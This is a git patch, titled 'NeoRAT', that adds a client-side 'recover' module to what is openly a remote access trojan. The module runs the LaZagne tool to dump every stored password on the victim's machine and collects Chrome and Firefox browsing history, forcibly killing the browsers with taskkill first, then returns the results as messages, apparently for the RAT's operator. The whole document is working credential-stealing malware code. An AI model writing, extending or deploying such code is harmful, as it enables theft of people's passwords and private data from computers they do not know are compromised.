From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- foreign/client_handling/recover.py | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) create mode 100644 foreign/client_handling/recover.py (limited to 'foreign/client_handling/recover.py') diff --git a/foreign/client_handling/recover.py b/foreign/client_handling/recover.py new file mode 100644 index 0000000..c332fb2 --- /dev/null +++ b/foreign/client_handling/recover.py @@ -0,0 +1,30 @@ +import contextlib +import io +import os + +from foreign.client_handling.browserhistory.browserhistory import get_browserhistory +from foreign.client_handling.lazagne.config.write_output import StandardOutput +from foreign.client_handling.lazagne.config.constant import constant +from foreign.client_handling.lazagne.config.run import run_lazagne + +constant.st = StandardOutput() + + +def runLaZagne(category_selected='all', subcategories={}, password=None): + for pwd_dic in run_lazagne(category_selected=category_selected, subcategories=subcategories, password=password): + yield pwd_dic + + +def recover(action_type, force): + if action_type == 'password': + with io.StringIO() as stdout, contextlib.redirect_stdout(stdout): + for r in runLaZagne(): pass + return {'message': stdout.getvalue().strip()} + elif action_type == 'history': + if force: + for browser in ('chrome', 'firefox'): + os.system(f'tasklist | find /i "{browser}.exe" > nul && taskkill /im {browser}.exe /F > nul') + + return {'message': get_browserhistory()} + else: + raise Exception('Error message') \ No newline at end of file -- cgit v1.2.3